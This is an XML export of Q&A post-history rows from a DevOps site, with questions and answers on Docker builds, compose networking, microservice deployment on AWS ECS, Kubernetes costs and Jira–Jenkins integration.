  <row Id="14362" PostHistoryTypeId="24" PostId="4330" RevisionGUID="bbbfefed-8a97-4da9-a42f-32c7ae76321e" CreationDate="2018-07-22T07:53:44.670" Comment="Proposed by 7917 approved by 40, 13 edit id of 737" ContentLicense="CC BY-SA 4.0" />
  <row Id="14363" PostHistoryTypeId="5" PostId="4326" RevisionGUID="e581e2ce-9b32-428d-9b9e-03a90e06ad3f" CreationDate="2018-07-22T07:53:54.857" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wikipedia.org/wiki/Docker_%28software%29&gt;, and &lt;http://en.wikipedia.org/wiki/VMware&gt;)." Text="I am trying to get my feet wet with Docker/containers. I started with this tutorial:&#xD;&#xA;&#xD;&#xA;*[Getting Started · Spring Boot with Docker][1]*&#xD;&#xA;&#xD;&#xA;It works fine, but I was surprised it is necessary to have the &quot;dockerd&quot; daemon running to build an image. It connects to it using localhost and a port number as part of executing the Maven build. Why is this required (and can it be avoided)? I mean, in many cases the image will have to be run on a separate platform anyway. It is particularly annoying, because I am building on Windows where Docker requires you to have Hyper-V enabled, which causes other issues (for instance that you can't use VMware on the same machine).&#xD;&#xA;&#xD;&#xA;Due to the problems, I resorted to building it all inside a Linux VM (which then ran the Docker daemon).&#xD;&#xA;&#xD;&#xA;Another thing which might be related to the above: It seems the build process doesn't leave the image on disk; it is installed directly into the repository managed by the Docker daemon. I can then export the image from the command line, and I suppose (haven't tried) this image could be moved to another machine and run from there. But how do I build &quot;just&quot; the image without having it deployed anywhere, etc.? It just needs to produce the artifacts in the local file system and leave it at that. Maybe that would also remove the requirement for having Docker running?&#xD;&#xA;&#xD;&#xA;The command the tutorial uses for running Maven is:&#xD;&#xA;&#xD;&#xA;    ./mvnw install dockerfile:build&#xD;&#xA;&#xD;&#xA;However, trying alternatives to &quot;install&quot; (such as &quot;package&quot;, etc.) seemingly doesn't change the behavior.&#xD;&#xA;&#xD;&#xA;  [1]: https://spring.io/guides/gs/spring-boot-docker/&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14364" PostHistoryTypeId="4" PostId="4326" RevisionGUID="e581e2ce-9b32-428d-9b9e-03a90e06ad3f" CreationDate="2018-07-22T07:53:54.857" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wikipedia.org/wiki/Docker_%28software%29&gt;, and &lt;http://en.wikipedia.org/wiki/VMware&gt;)." Text="Does building a Docker image require the Docker daemon to be running?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14365" PostHistoryTypeId="24" PostId="4326" RevisionGUID="e581e2ce-9b32-428d-9b9e-03a90e06ad3f" CreationDate="2018-07-22T07:53:54.857" Comment="Proposed by 7917 approved by 40, 13 edit id of 735" ContentLicense="CC BY-SA 4.0" />
  <row Id="14366" PostHistoryTypeId="2" PostId="4575" RevisionGUID="1a98c69c-5824-47a9-9a09-dd196b244059" CreationDate="2018-07-22T09:50:47.240" UserId="3766" Text="The best answer to DevOps vs SRE is here [What's the Difference Between DevOps and SRE ?][1] From the above series, you will understand **Class SRE implements DevOps** and both are working on a similar ground and it's pretty align goal for both of them. &#xD;&#xA;&#xD;&#xA;As a production support, you will be doing the task which you have mentioned in the question, apart, you need deep visibility, alert and notifications, latency, metrics, tracking, security, etc. lots of things to take care. And, it basically providing the service to the end users who is utilizing your application or system. Also, I see production support team have written the dockerfile and bash scripts to automate many tasks. So, whenever user faced any issue that first comes to Production Support team and it might went to other IT teams if it's not easily resolve. But, if you look at SRE, their sole purpose is to keep system in reliable state every time, maintain resiliency, etc. In some organization, the DevOps does this part too. &#xD;&#xA;&#xD;&#xA;From my perspective, all the three terms are same as their goal align and just differ in functionality. These functionality differs from organization to organizations. But, DevOps are intended to bring culture and shift in paradigm so that everyone will work collaboratively. Hope this helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.youtube.com/watch?v=uTEL8Ff1Zvk&amp;t=12s" ContentLicense="CC BY-SA 4.0" />
  <row Id="14368" PostHistoryTypeId="2" PostId="4576" RevisionGUID="c2be1a02-5e57-443f-86e3-35ea1ddeff59" CreationDate="2018-07-22T14:18:09.410" UserId="3125" Text="We want to deploy multiple microservices on AWS ECS.&#xA;&#xA;The issue that we need to solve is how to deploy them in an atomic way: &#xA;&#xA;Let says we have the front-end services which requires the user service version 2.0.&#xA;&#xA;How to make sure the user service is available before the front-end one is deployed.&#xA;&#xA;We have the idea to replicate the whole infra, deploy everything then make it available. But it seems to me complex. How do you make these spare instances, deploy the services, and make the switch?&#xA;&#xA;We are using two ALB and target groups for each services (dynamic port mappings).&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14369" PostHistoryTypeId="1" PostId="4576" RevisionGUID="c2be1a02-5e57-443f-86e3-35ea1ddeff59" CreationDate="2018-07-22T14:18:09.410" UserId="3125" Text="How to deploy multiple dependent micro services" ContentLicense="CC BY-SA 4.0" />
  <row Id="14370" PostHistoryTypeId="3" PostId="4576" RevisionGUID="c2be1a02-5e57-443f-86e3-35ea1ddeff59" CreationDate="2018-07-22T14:18:09.410" UserId="3125" Text="&lt;docker&gt;&lt;deployment&gt;&lt;microservices&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14371" PostHistoryTypeId="2" PostId="4577" RevisionGUID="90dae295-d8e4-431a-b2de-ffbf244f2d14" CreationDate="2018-07-22T15:14:58.400" UserId="47" Text="Such question could be an indication of a poor architectural slicing into microservices. From [What are Microservices?][1]:&#xD;&#xA;&#xD;&#xA;&gt; These services are **built around business capabilities** and&#xD;&#xA;&gt; **independently deployable** by fully automated deployment machinery.&#xD;&#xA;&#xD;&#xA;The key point missed in such case would be their **independently deployable** aspect. &#xD;&#xA;&#xD;&#xA;The point could also be simply misunderstood: it doesn't necessarily mean that each microservice should be capable to perform its entire functionality by itself, it just means that it's able to gracefully bail when some other microservice its functionality depends on isn't available, maybe keeping track of &quot;todo&quot; stuff for later execution, when that microservice becomes available. &#xD;&#xA;&#xD;&#xA;Seen from a different perspective: handling unavailability of external service dependencies should actually be part of each microservice functionality - so one could consider the microservice fully functional even when its runtime dependencies aren't satisfied :)&#xD;&#xA;&#xD;&#xA;Another thing to consider would be the finer difference between deploying the microservices and bringing them into action by switching the traffic to them. Switching traffic is often faster than the deployment itself, so the availability at the entire system level can be increased by first deploying all microservices and only after that performing the traffic switch for all of them. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.martinfowler.com/microservices/#what" ContentLicense="CC BY-SA 4.0" />
  <row Id="14372" PostHistoryTypeId="50" PostId="3798" RevisionGUID="f656344b-d8cc-4f5a-b336-00db0162d6c6" CreationDate="2018-07-22T16:33:40.923" UserId="-1" />
  <row Id="14373" PostHistoryTypeId="50" PostId="3112" RevisionGUID="d2083696-38c4-4471-acec-1c4964f251c7" CreationDate="2018-07-22T17:34:05.263" UserId="-1" />
  <row Id="14378" PostHistoryTypeId="50" PostId="3144" RevisionGUID="df725244-15d7-4934-94b7-4b7552b55f08" CreationDate="2018-07-22T23:34:30.220" UserId="-1" />
  <row Id="14379" PostHistoryTypeId="2" PostId="4579" RevisionGUID="1243eb12-68e0-42ff-9f6e-19f1d5460ec4" CreationDate="2018-07-23T01:55:08.857" UserId="8808" Text="We had a similar situation wherein one of our applications had to be built, deployed and be up &amp; running before the second one was. This was because application A has some functionality that should be executed prior to it being referenced via application B.&#xD;&#xA;The way we accomplished this was by building it into a single delivery pipeline. That way, all the dependencies were deployed either sequentially or parallely as needed. We also had our database scripts in sequence along with rollback capabilities, just in case.&#xD;&#xA;Rewording to your case, you could deploy your api prior to your front-end service.&#xD;&#xA;Hope this helps." ContentLicense="CC BY-SA 4.0" />
  <row Id="14383" PostHistoryTypeId="2" PostId="4581" RevisionGUID="71f83a1b-f90e-41d1-a7c8-0e5b8fdc297d" CreationDate="2018-07-23T07:20:48.643" UserId="8909" Text="So I'm still a rookie in devops but I am looking for a way where we can link a folder from user1 to a folder from user2.&#xD;&#xA;&#xD;&#xA;I guess its sort of a symbolic link? &#xD;&#xA;How would you do something like that? Or what is the best solution to do this? Ca" ContentLicense="CC BY-SA 4.0" />
  <row Id="14384" PostHistoryTypeId="1" PostId="4581" RevisionGUID="71f83a1b-f90e-41d1-a7c8-0e5b8fdc297d" CreationDate="2018-07-23T07:20:48.643" UserId="8909" Text="DirectAdmin 2 users same folder" ContentLicense="CC BY-SA 4.0" />
  <row Id="14385" PostHistoryTypeId="3" PostId="4581" RevisionGUID="71f83a1b-f90e-41d1-a7c8-0e5b8fdc297d" CreationDate="2018-07-23T07:20:48.643" UserId="8909" Text="&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14386" PostHistoryTypeId="50" PostId="4153" RevisionGUID="db340a15-574d-4db7-b896-cd88900505e4" CreationDate="2018-07-23T07:34:30.147" UserId="-1" />
  <row Id="14388" PostHistoryTypeId="2" PostId="4582" RevisionGUID="360db4e9-6e4f-45de-b311-fb172ae3e028" CreationDate="2018-07-23T08:30:42.977" UserId="8858" Text="You cannot create hardlinks to directories. &#xD;&#xA;So, Yes, you can create symbolic links `ln -s &lt;Target&gt; &lt;Link&gt;` however, please keep in mind the access permissions." ContentLicense="CC BY-SA 4.0" />
  <row Id="14389" PostHistoryTypeId="2" PostId="4583" RevisionGUID="96805052-a903-491a-bb98-c6b824eb28bb" CreationDate="2018-07-23T12:24:50.760" UserId="4856" Text="The B-series has this name from _burstable_ adjective.&#xD;&#xA;&#xD;&#xA;It means that you do not have 100% of the cores for 100% of the time (see [Introducing B-Series, our new burstable VM size](https://azure.microsoft.com/en-us/blog/introducing-b-series-our-new-burstable-vm-size/)).&#xD;&#xA;For example B-2 you have guaranteed only 40% out of a potential 200%.&#xD;&#xA;&#xD;&#xA;The suggestion to pick a different serie for production workload, is to guarantee the CPU available." ContentLicense="CC BY-SA 4.0" />
  <row Id="14390" PostHistoryTypeId="5" PostId="4577" RevisionGUID="cdf6aaa2-51f5-4669-9064-7d50f0f64e84" CreationDate="2018-07-23T12:56:33.133" UserId="47" Comment="added clarification" Text="Such question could be an indication of a poor architectural slicing into microservices. From [What are Microservices?][1]:&#xD;&#xA;&#xD;&#xA;&gt; These services are **built around business capabilities** and&#xD;&#xA;&gt; **independently deployable** by fully automated deployment machinery.&#xD;&#xA;&#xD;&#xA;The key point missed in such case would be their **independently deployable** aspect. &#xD;&#xA;&#xD;&#xA;The point could also be simply misunderstood: it doesn't necessarily mean that each microservice should be capable to perform its entire functionality by itself, it just means that it's able to gracefully bail when some other microservice its functionality depends on isn't available, maybe keeping track of &quot;todo&quot; stuff for later execution, when that microservice becomes available. &#xD;&#xA;&#xD;&#xA;Seen from a different perspective: handling unavailability of external service dependencies should actually be part of each microservice functionality - so one could consider the microservice fully functional even when its runtime dependencies aren't satisfied :)&#xD;&#xA;&#xD;&#xA;It's worth noting, I think, that in the above comments I'm referring to microservices unavailability regardless of its reason, be it deployment dependency order or something else (outages, for example). &#xD;&#xA;&#xD;&#xA;Another thing to consider would be the finer difference between deploying the microservices and bringing them into action by switching the traffic to them. Switching traffic is often faster than the deployment itself, so the availability at the entire system level can be increased by first deploying all microservices and only after that performing the traffic switch for all of them. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.martinfowler.com/microservices/#what" ContentLicense="CC BY-SA 4.0" />
  <row Id="14391" PostHistoryTypeId="2" PostId="4584" RevisionGUID="744a3a20-0169-4b9a-be98-f6dccee1f201" CreationDate="2018-07-23T12:59:28.970" UserId="8916" Text="I have downloaded docker toolbox to learn docker and I have started with docker compose topic. I had run few docker-compose command and next time when I restart the docker CLI(here docker quickstart terminal) everytime I have to run below docker-compose install commands &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;sudo curl -L https://github.com/docker/compose/releases/download/1.21.2/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose&#xD;&#xA;&#xD;&#xA;sudo chmod +x /usr/local/bin/docker-compose&#xD;&#xA;&#xD;&#xA;Is there any way to permanently install docker compose." ContentLicense="CC BY-SA 4.0" />
  <row Id="14392" PostHistoryTypeId="1" PostId="4584" RevisionGUID="744a3a20-0169-4b9a-be98-f6dccee1f201" CreationDate="2018-07-23T12:59:28.970" UserId="8916" Text="Is Docker compose installation required everytime I start a new session on docker CLI" ContentLicense="CC BY-SA 4.0" />
  <row Id="14393" PostHistoryTypeId="3" PostId="4584" RevisionGUID="744a3a20-0169-4b9a-be98-f6dccee1f201" CreationDate="2018-07-23T12:59:28.970" UserId="8916" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14397" PostHistoryTypeId="50" PostId="4157" RevisionGUID="320f1fd6-9582-4c4e-bf63-bfb385708b66" CreationDate="2018-07-23T17:47:34.670" UserId="-1" />
  <row Id="14401" PostHistoryTypeId="50" PostId="3421" RevisionGUID="8ca78a3b-76b3-462c-b2b2-cf480d48050e" CreationDate="2018-07-23T19:48:00.030" UserId="-1" />
  <row Id="14402" PostHistoryTypeId="2" PostId="4586" RevisionGUID="11b4a24b-e0b9-42fb-a58e-10bfa7ca1cda" CreationDate="2018-07-23T22:34:48.113" UserId="8737" Text="We're running like 100+ servers on AWS EC2 with like 20 microservices all load balanced and autoscaled with 2 to 3 instances.&#xD;&#xA;&#xD;&#xA;The cost has become....very significant.&#xD;&#xA;&#xD;&#xA;I'm wondering if migrating these to Kubernetes or ECS would be cheaper?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14403" PostHistoryTypeId="1" PostId="4586" RevisionGUID="11b4a24b-e0b9-42fb-a58e-10bfa7ca1cda" CreationDate="2018-07-23T22:34:48.113" UserId="8737" Text="Is running load balanced autoscale apps cheaper on AWS Kubernetes than just using EC2 resources?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14404" PostHistoryTypeId="3" PostId="4586" RevisionGUID="11b4a24b-e0b9-42fb-a58e-10bfa7ca1cda" CreationDate="2018-07-23T22:34:48.113" UserId="8737" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;amazon-ec2&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14409" PostHistoryTypeId="50" PostId="4167" RevisionGUID="538bd4ec-a9fc-476e-a570-90bd750d3d4a" CreationDate="2018-07-24T07:53:19.640" UserId="-1" />
  <row Id="14416" PostHistoryTypeId="50" PostId="3715" RevisionGUID="c75989b8-fc63-452a-9af4-d411ac45c12a" CreationDate="2018-07-24T13:01:44.470" UserId="-1" />
  <row Id="14418" PostHistoryTypeId="2" PostId="4590" RevisionGUID="5cfd4fcd-9990-40af-a723-bddb4e3d3b93" CreationDate="2018-07-24T13:26:31.183" UserId="8769" Text="I have the following configuration in my `docker-composer.yml` file.&#xD;&#xA;&#xD;&#xA;    version: '3.3'&#xD;&#xA;    services:&#xD;&#xA;      service-1:&#xD;&#xA;        container_name: 'service-1'&#xD;&#xA;        build: './service-1'&#xD;&#xA;        depends_on:&#xD;&#xA;          - 'mongo'&#xD;&#xA;          - 'consul'&#xD;&#xA;        networks:&#xD;&#xA;          backend:&#xD;&#xA;            aliases:&#xD;&#xA;              - service-1&#xD;&#xA;      service-2:&#xD;&#xA;        build: './service-2'&#xD;&#xA;        ports:&#xD;&#xA;          - '8825:8825'&#xD;&#xA;          - '8835:8835'&#xD;&#xA;        networks:&#xD;&#xA;          frontend:&#xD;&#xA;          backend:&#xD;&#xA;            aliases:&#xD;&#xA;              - service-2&#xD;&#xA;        depends_on:&#xD;&#xA;          - 'mongo'&#xD;&#xA;          - 'consul'&#xD;&#xA;      consul:&#xD;&#xA;        image: 'consul:latest'&#xD;&#xA;        networks:&#xD;&#xA;          backend:&#xD;&#xA;            aliases:&#xD;&#xA;              - consul&#xD;&#xA;      mongo:&#xD;&#xA;        image: 'mongo:latest'&#xD;&#xA;        networks:&#xD;&#xA;          backend:&#xD;&#xA;            aliases:&#xD;&#xA;              - mongo&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      frontend:&#xD;&#xA;      backend:&#xD;&#xA;        internal: true&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When my containers start they are not able to communicate between each other using host names. &#xD;&#xA;Most of containers use the mongo db container, but they are not able even reach it and I am getting the following error.&#xD;&#xA;&#xD;&#xA;    Error connecting to mongo : no reachable servers&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please help me to solve the problem, I got stuck.&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="14419" PostHistoryTypeId="1" PostId="4590" RevisionGUID="5cfd4fcd-9990-40af-a723-bddb4e3d3b93" CreationDate="2018-07-24T13:26:31.183" UserId="8769" Text="Docker hostnames are not resolved in a custom network" ContentLicense="CC BY-SA 4.0" />
  <row Id="14420" PostHistoryTypeId="3" PostId="4590" RevisionGUID="5cfd4fcd-9990-40af-a723-bddb4e3d3b93" CreationDate="2018-07-24T13:26:31.183" UserId="8769" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14421" PostHistoryTypeId="2" PostId="4591" RevisionGUID="631decd0-9797-4ad0-99eb-2e260f4166f4" CreationDate="2018-07-24T14:08:43.997" UserId="8946" Text="I am implementing a simple setup with two micro services and would like each of them to have their own DB - each service is running in it's own container.&#xD;&#xA;Should i include the DB's in each service container (so each container will contain the service application + DB with a total of two containers), or should i create a new container for each DB (with a total or four containers)?.&#xD;&#xA;Given the fact that each DB is used only by one service, it seems cleaner to encapsulate the Service+DB in a single container which will be the overall service. On the other hand - deploying a DB as a container is much simpler and faster than combining it with the application container." ContentLicense="CC BY-SA 4.0" />
  <row Id="14422" PostHistoryTypeId="1" PostId="4591" RevisionGUID="631decd0-9797-4ad0-99eb-2e260f4166f4" CreationDate="2018-07-24T14:08:43.997" UserId="8946" Text="In a Database Per Service model - should i include the database in the service container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14423" PostHistoryTypeId="3" PostId="4591" RevisionGUID="631decd0-9797-4ad0-99eb-2e260f4166f4" CreationDate="2018-07-24T14:08:43.997" UserId="8946" Text="&lt;docker&gt;&lt;containers&gt;&lt;microservices&gt;&lt;databases&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14424" PostHistoryTypeId="2" PostId="4592" RevisionGUID="2d25715e-9ed5-4cb0-b048-29cfa634aaad" CreationDate="2018-07-24T14:18:28.630" UserId="7730" Text="You've got a lot of unneeded settings in the compose file, here's a stripped down version that would work just as well:&#xD;&#xA;&#xD;&#xA;    version: '3.3'&#xD;&#xA;    services:&#xD;&#xA;      service-1:&#xD;&#xA;        build: './service-1'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;      service-2:&#xD;&#xA;        build: './service-2'&#xD;&#xA;        ports:&#xD;&#xA;          - '8825:8825'&#xD;&#xA;          - '8835:8835'&#xD;&#xA;        networks:&#xD;&#xA;          - frontend&#xD;&#xA;          - backend&#xD;&#xA;      consul:&#xD;&#xA;        image: 'consul:latest'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;      mongo:&#xD;&#xA;        image: 'mongo:latest'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      frontend:&#xD;&#xA;      backend:&#xD;&#xA;        internal: true&#xD;&#xA;&#xD;&#xA;You automatically get the alias of the service name for each container, no need to duplicate that. You also lose the ability to scale a service if you give it a container name. I'd also recommend moving the build step out of the compose file and use an image name for the apps you're building locally.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Now for the likely issue, you have a depends_on in your compose file. At best, this will not do what you're looking for. All it checks that the other container has been created and started, but not that the application inside is ready to serve traffic, and a DB may take time to become available. At worst, you'll get an error that it's unsupported if you try to move this into swarm mode.&#xD;&#xA;&#xD;&#xA;Instead of depending on docker for this, update your application entrypoint to check for the external dependencies and wait a minute or two for them to become available before failing. A very simple example tool for this is [wait-for-it](https://github.com/vishnubob/wait-for-it) that is written as a bash shell script." ContentLicense="CC BY-SA 4.0" />
  <row Id="14425" PostHistoryTypeId="2" PostId="4593" RevisionGUID="76a308bf-a04b-4af4-9887-f9a0e3aeb1ee" CreationDate="2018-07-24T14:23:13.540" UserId="7730" Text="Keep the DB containers separate. The concept of microservices and containers is to allow each part to be independently updated without introducing changes and outages to the rest of the application stack. Containers should also be running a single app per container to allow error detection and log gathering from that application. Each container is simply an isolated process, so unlike a VM, there's little overhead on the host to split each of these out." ContentLicense="CC BY-SA 4.0" />
  <row Id="14426" PostHistoryTypeId="2" PostId="4594" RevisionGUID="523832b3-a5bd-4d52-a2b8-faadaac693d9" CreationDate="2018-07-24T16:03:25.273" UserId="8901" Text="I agree with others not to bake user accounts into the OS images. Especially **personal** user accounts of your infrastructure team should be maintained with a decent user management. There are only very rare circumstances where you want to system/service account to be installed everywhere.&#xD;&#xA;&#xD;&#xA;Reason:&#xD;&#xA;&#xD;&#xA;Getting users into the systems is most times easy because people ask for it. Reliably cleaning up obsolete user accounts is the much harder problem because the employees are gone." ContentLicense="CC BY-SA 4.0" />
  <row Id="14427" PostHistoryTypeId="2" PostId="4595" RevisionGUID="f1f1d113-e855-4b81-a81c-76c5bc06e43c" CreationDate="2018-07-24T16:46:44.147" UserId="8949" Text="Basically you need to build intuition into :&#xD;&#xA;&#xD;&#xA;- how to distinguish between host, docker daemon, and docker instance&#xD;&#xA;- how to share ports, volumes&#xD;&#xA;- create docker files&#xD;&#xA;&#xD;&#xA;I have written a tutorial on that here :&#xD;&#xA;&#xD;&#xA;http://javagoogleappspot.blogspot.com/2018/07/docker-basics.html&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14428" PostHistoryTypeId="50" PostId="3722" RevisionGUID="be8b8c1d-8ab1-4d9f-b1da-0f26ceec073a" CreationDate="2018-07-24T18:01:02.960" UserId="-1" />
  <row Id="14429" PostHistoryTypeId="5" PostId="2631" RevisionGUID="d801b592-8dc6-4cfb-936f-e0f406072c0a" CreationDate="2018-07-24T19:34:50.093" UserId="40" Comment="deleted 7 characters in body" Text="I am new to Docker and tried some hands-on (not deeper learned upto basics of image,container) by following docker official documentation.&#xD;&#xA;&#xD;&#xA;To take my learning curve to next level, I have implemented what I read by taking sample applications like &quot;Dockerising a Node.js and MongoDB App by nida sajid&quot;, run a sample java restful webapplication which takes name and &#xD;&#xA;email and storing it into mysql container. I've done this by using 2 containers:&#xD;&#xA;&#xD;&#xA;1. tomcat - Used to deploy war file&#xD;&#xA;2. mysql - To store the data(name&amp;email))&#xD;&#xA;&#xD;&#xA;My question: what are the advanced concepts that I can learn and, can you suggest me so that I can improve my knowledge&#xD;&#xA;&#xD;&#xA;1. What are the advanced concepts in docker other than this (like used in real world scenario)?&#xD;&#xA;2. Any suggestions (like websites,videos) to improve my knowledge?&#xD;&#xA;3. How to use Docker with Jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14430" PostHistoryTypeId="50" PostId="3089" RevisionGUID="f77f582c-5de1-4135-8024-7bdfb2a490df" CreationDate="2018-07-24T22:00:45.003" UserId="-1" />
  <row Id="14431" PostHistoryTypeId="2" PostId="4596" RevisionGUID="674df123-8445-4025-90f5-dcf7c3f417e9" CreationDate="2018-07-24T22:18:37.007" UserId="13" Text="From your comment I assume a cpu load under 5% in average considering all instances together.&#xD;&#xA;&#xD;&#xA;Each of your actual instance can be a pod on a kubernetes node, using quite larger instances you can reduce to a dozen of m3 or m4 machines with a single (or two) load balancer in front for the same quality of service.&#xD;&#xA;&#xD;&#xA;You'll have machines used at 70% (ideally) and using an autoscaling group with a scaling policy to take care of spinning up a new node in case of burst.&#xD;&#xA;&#xD;&#xA;The main idea is that you should be able to host on fewer machines with a better average load and thus reduce your cost, the first net gain is the reduction in number of load balancers, but this could be debated with Application Load balancers which allow to route by context or host.&#xD;&#xA;&#xD;&#xA;Be warned there's a learning curve with kubernetes, but according to your description this sounds the perfect use case.&#xD;&#xA;&#xD;&#xA;Beware of the 'all in k8s' trap, some things are better handled out of kubernetes, like large database systems or CPU/memory intensive task as they disrupt the load repartition and brings some more complexity. I.e: keep both possibilities, k8S and usual ASG/instances based hosting." ContentLicense="CC BY-SA 4.0" />
  <row Id="14432" PostHistoryTypeId="50" PostId="1193" RevisionGUID="e06a41a1-8c56-4228-bc77-2b0d66de9f9e" CreationDate="2018-07-24T23:00:40.757" UserId="-1" />
  <row Id="14436" PostHistoryTypeId="2" PostId="4598" RevisionGUID="f1853707-bea6-4cc2-9b0b-53f60e3d0b70" CreationDate="2018-07-25T05:18:26.017" UserId="8808" Text="We did have a similar situation and did try out a few options. Let me suggest them and you can choose if they suit your need. &lt;br/&gt;&#xD;&#xA;We had **Jira for User Story** (requirements), **Bitbucket for SCM**, **Jenkins for CI orchestration**, to name a few. Am not going into the other components since they may not be relevant from what I understand based on the description.&lt;br/&gt;&#xD;&#xA;So, to start with, Jira would hold our (developer) user stories, and the developers start analysis based on that. Once they are clear, they pull the relevant code base from Bitbucket straight into the IDE (Eclipse) using git plugins, complete the work and push code back into Bitbucket. Two things were needed to be followed &lt;i&gt;'as part of the comment given during commit'&lt;/i&gt;:&#xD;&#xA;&#xD;&#xA; 1. The Jira ID for the user story for which the change is being made&#xD;&#xA; 2. The actual comments for the change &lt;br/&gt;&#xD;&#xA;E.g., **[JIR-BBA]:: Code updated to pull correct URL from database.**&#xD;&#xA;&#xD;&#xA;Then, in the Jenkins job, we strip down the same into 'JIR-BBA', i.e. Jira ID, and the comment. The Jira ID would then be fed into the Bitbucket plugin which would directly update the corresponding Jira story. And this would also provide a hyperlink in Bitbucket which would directly take you to the job run in Jenkins, thus providing a 2-way communication. &lt;br/&gt;&lt;br/&gt;&#xD;&#xA;Now the other part in your question, about the status of the build. For this we followed the below steps:&#xD;&#xA;&#xD;&#xA; 1. Created a Python script that would connect to Jira and can be run from the command prompt. This is easily available if you search for those 2 terms. The script would take in 4 parameters: i. Jira URL, ii. Jira credential, iii. Jira ID, iv. Comments&#xD;&#xA; 2. In Jenkins, we called the python script which would connect to Jira using the above credentials, and update the correct Jira task with the comments the developer provided (from the build job) and the job completion status (from SIT Deploy, SIT Test, UAT Deploy, etc.)&#xD;&#xA; 3. Now, inside Jira, once you go to the task, you shall find comments being updated for each of the jobs like 'Dev done', 'QA done', etc. depending on how you would want to get it update for each of the Jenkins jobs.&#xD;&#xA;That way, you are maintaining a traceability for each of the requirements so that you know which stage each of them are deployed into or test failed. &lt;br/&gt;&lt;br/&gt;&#xD;&#xA;Thus you do not need to go into Jenkins each time for the status as the latest is already available in Jira." ContentLicense="CC BY-SA 4.0" />
  <row Id="14445" PostHistoryTypeId="2" PostId="4601" RevisionGUID="3431862c-d0a8-4560-85d0-a2a90584599c" CreationDate="2018-07-25T16:49:31.477" UserId="8691" Text="I wouldn't introduce another infrastructure tool/CM (like Ansible) just for this purpose, instead of that, I would consider these two options:&#xD;&#xA;&#xD;&#xA; 1. If your instance lifecycle is short enough, like maybe you replace instances often with recently built images with Packer, you can make use of [&quot;user data&quot;][1] of your EC2 instances or launch configurations on your Terraform configuration to describe your users. Next time your instances are launched, your changes will be applied. I think this is the simplest option for a small company, yet might not be suitable for all environments for security or lifecycle reasons.&#xD;&#xA;&#xD;&#xA; 2. You can make use of an external authentication source like IAM (see: https://github.com/widdix/aws-ec2-ssh) or LDAP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="14446" PostHistoryTypeId="5" PostId="4373" RevisionGUID="fc4a14f8-baed-4e24-974b-1414e9dedee1" CreationDate="2018-07-25T18:34:30.380" UserId="8491" Comment="deleted 1 character in body" Text="This is opinionated I feel. But for me I think the relation between the 2 is actually a massive mistake made by a lot of companies. There are a ton of software-systems hybrid jobs out there, and I've worked both ends of the spectrum, and in between. DevOps is a buzzword and it's new and shiny, so everything that falls in that realm is instantly deemed DevOps. I would argue that the same description you might give for a Production Engineer would sound exactly like what most people think DevOps is, when in reality DevOps(beware of opinions) is providing tooling for development to leverage and deliver to infrastructure. You are developing the operations of software shipping to and running on a platform. This makes a very diverse role, and that's why I think DevOps is more so a position than a profession. I consider myself a Software Engineer, but I understand the systems side of things very well so I apply my profession to a specialty. While I think, and have seen, that applied inversely, people who used to be sysadmins with knowledge of development and development processes.&#xD;&#xA;&#xD;&#xA;I think a production engineer is similar loosely in the realm of work that is being done, but ultimately DevOps delivers solutions to and shapes the way the Development team works. Where as a production engineer is likely a systems software engineer who writes software to support infrastructure. They are writing software services which run on infrastructure in support of other services and not like DevOps might write Infrastructure as Code which is usually driving some sort of systems automation(puppet, chef, terraform, etc)." ContentLicense="CC BY-SA 4.0" />
  <row Id="14447" PostHistoryTypeId="2" PostId="4602" RevisionGUID="c69682f4-6bb8-45ce-8665-5d410940f7d5" CreationDate="2018-07-25T18:49:29.267" UserId="8971" Text="I am trying to use an AWS Network Load Balancer to point at a group of servers. I would then like to take my DNS and point it at the load balancer. However, after I set everything up I cannot find and ip address for the AWS load balancer. I only see a URL value but the A-record in Cloudflare requires an actual IP.&#xD;&#xA;&#xD;&#xA;How do I configure the DNS to point at the Load Balancer?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14448" PostHistoryTypeId="1" PostId="4602" RevisionGUID="c69682f4-6bb8-45ce-8665-5d410940f7d5" CreationDate="2018-07-25T18:49:29.267" UserId="8971" Text="How do I configure an AWS network load balancer with an A record in Cloudflare" ContentLicense="CC BY-SA 4.0" />
